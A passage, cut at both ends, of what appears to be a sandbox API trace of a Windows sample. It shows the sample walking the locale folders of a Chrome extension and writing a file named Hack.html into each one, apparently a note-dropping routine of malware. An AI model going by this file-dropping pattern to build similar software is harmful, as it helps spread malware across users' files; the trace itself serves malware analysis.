HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr", lpFilePart=0x0) returned 0x8d [0074.385] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\", lpFilePart=0x0) returned 0x8e [0074.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.386] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr", lpFilePart=0x0) returned 0x8d [0074.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\", lpFilePart=0x0) returned 0x8e [0074.386] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.386] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.387] GetFileType (hFile=0x174) returned 0x1 [0074.387] GetFileType (hFile=0x174) returned 0x1 [0074.387] WriteFile (in: hFile=0x174, lpBuffer=0x27a9cc0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27a9cc0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv", lpFilePart=0x0) returned 0x8d [0074.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\", lpFilePart=0x0) returned 0x8e [0074.388] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.390] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv", lpFilePart=0x0) returned 0x8d [0074.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\", lpFilePart=0x0) returned 0x8e [0074.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.390] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.391] GetFileType (hFile=0x174) returned 0x1 [0074.391] GetFileType (hFile=0x174) returned 0x1 [0074.391] WriteFile (in: hFile=0x174, lpBuffer=0x27af370*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27af370*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th", lpFilePart=0x0) returned 0x8d [0074.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\", lpFilePart=0x0) returned 0x8e [0074.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.393] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th", lpFilePart=0x0) returned 0x8d [0074.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\", lpFilePart=0x0) returned 0x8e [0074.393] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.393] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.394] GetFileType (hFile=0x174) returned 0x1 [0074.394] GetFileType (hFile=0x174) returned 0x1 [0074.394] WriteFile (in: hFile=0x174, lpBuffer=0x27b4a20*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27b4a20*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr", lpFilePart=0x0) returned 0x8d [0074.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\", lpFilePart=0x0) returned 0x8e [0074.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.397] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr", lpFilePart=0x0) returned 0x8d [0074.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\", lpFilePart=0x0) returned 0x8e [0074.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.397] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.398] GetFileType (hFile=0x174) returned 0x1 [0074.398] GetFileType (hFile=0x174) returned 0x1 [0074.398] WriteFile (in: hFile=0x174, lpBuffer=0x27ba0d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27ba0d0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk", lpFilePart=0x0) returned 0x8d [0074.399] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\", lpFilePart=0x0) returned 0x8e [0074.399] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.400] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk", lpFilePart=0x0) returned 0x8d [0074.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\", lpFilePart=0x0) returned 0x8e [0074.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.400] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.401] GetFileType (hFile=0x174) returned 0x1 [0074.401] GetFileType (hFile=0x174) returned 0x1 [0074.401] WriteFile (in: hFile=0x174, lpBuffer=0x27bf780*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27bf780*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi", lpFilePart=0x0) returned 0x8d [0074.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\", lpFilePart=0x0) returned 0x8e [0074.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.412] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi", lpFilePart=0x0) returned 0x8d [0074.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\", lpFilePart=0x0) returned 0x8e [0074.413] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.413] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.414] GetFileType (hFile=0x174) returned 0x1 [0074.414] GetFileType (hFile=0x174) returned 0x1 [0074.414] WriteFile (in: hFile=0x174, lpBuffer=0x27c4e30*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: 